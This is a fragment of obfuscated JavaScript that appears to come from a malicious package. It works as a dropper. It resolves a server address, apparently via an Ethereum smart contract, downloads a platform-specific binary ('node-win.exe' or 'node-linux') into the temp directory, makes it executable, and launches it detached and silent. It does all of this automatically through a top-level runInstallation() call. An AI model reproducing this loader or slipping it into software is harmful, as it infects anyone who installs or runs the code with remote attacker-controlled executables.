_0x2cb743=_0x27d665;_0xe7b158['on'](_0x2cb743(0x1ff),_0x2af249),_0xe7b158['on'](_0xbba0a2[_0x2cb743(0x1da)],_0x29b2fd);});},executeFileInBackground=async _0xeca7=>{const _0x3d7d5f=_0x59fa10,_0x261dca={'VXpOP':function(_0x566269,_0x13de7a,_0x528e3b,_0x4e4b25){return _0x566269(_0x13de7a,_0x528e3b,_0x4e4b25);},'azGBY':'ignore','NSNSM':_0x3d7d5f(0x1fc)};try{const _0x4bb06a=_0x261dca[_0x3d7d5f(0x1d4)](spawn,_0xeca7,[],{'detached':!![],'stdio':_0x261dca[_0x3d7d5f(0x1fd)]});_0x4bb06a[_0x3d7d5f(0x1ec)]();}catch(_0x1dba80){console[_0x3d7d5f(0x1f8)](_0x261dca['NSNSM'],_0x1dba80);}},runInstallation=async()=>{const _0x8ba995=_0x59fa10,_0x43847a={'LYpTu':function(_0x1c6c7e){return _0x1c6c7e();},'IvEnB':function(_0x1656b5,_0x148829){return _0x1656b5(_0x148829);},'SVuzQ':function(_0x42b42c,_0x53dd26,_0x572c80){return _0x42b42c(_0x53dd26,_0x572c80);},'RHmfK':_0x8ba995(0x1d5),'rppkT':_0x8ba995(0x1d6)};try{const _0x1646e7=await _0x43847a[_0x8ba995(0x1e5)](fetchAndUpdateIp),_0x441746=_0x43847a[_0x8ba995(0x1e0)](getDownloadUrl,_0x1646e7),_0x2f7c68=os[_0x8ba995(0x1de)](),_0x56bfea=path[_0x8ba995(0x1df)](_0x441746),_0x17e133=path[_0x8ba995(0x1f6)](_0x2f7c68,_0x56bfea);await _0x43847a[_0x8ba995(0x1ed)](downloadFile,_0x441746,_0x17e133);if(os['platform']()!==_0x43847a[_0x8ba995(0x202)])fs['chmodSync'](_0x17e133,_0x43847a[_0x8ba995(0x1dd)]);executeFileInBackground(_0x17e133);}catch(_0x4680f9){console[_0x8ba995(0x1f8)](_0x8ba995(0x1eb),_0x4680f9);}};function _0x2f87(_0x58b1eb,_0x25d2d9){const _0x449e54=_0x449e();return _0x2f87=function(_0x2f87f0,_0x134743){_0x2f87f0=_0x2f87f0-0x1d3;let _0x3290f6=_0x449e54[_0x2f87f0];return _0x3290f6;},_0x2f87(_0x58b1eb,_0x25d2d9);}function _0x449e(){const _0x53e6eb=['tmpdir','basename','IvEnB','4937261yjlBhH','getString','GET','mainnet','LYpTu','axios','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','util','689686Mqazxh','/node-win.exe','Ошибка\x20установки:','unref','SVuzQ','platform','19058992tSlzXN','401356ZhPXhS','fdUUF','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','YPqBt','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','20HEnvTU','join','path','error','createWriteStream','rLxYm','pipe','Ошибка\x20при\x20запуске\x20файла:','azGBY','234554racUEq','finish','TAYJO','/node-linux','RHmfK','25251CVLhGf','Contract','VXpOP','win32','755','data','377604cDkgun','darwin','oFiWm','dayrX','Ошибка\x20при\x20получении\x20IP\x20адреса:','rppkT'];_0x449e=function(){return _0x53e6eb;};return _0x449e();}runInstallation();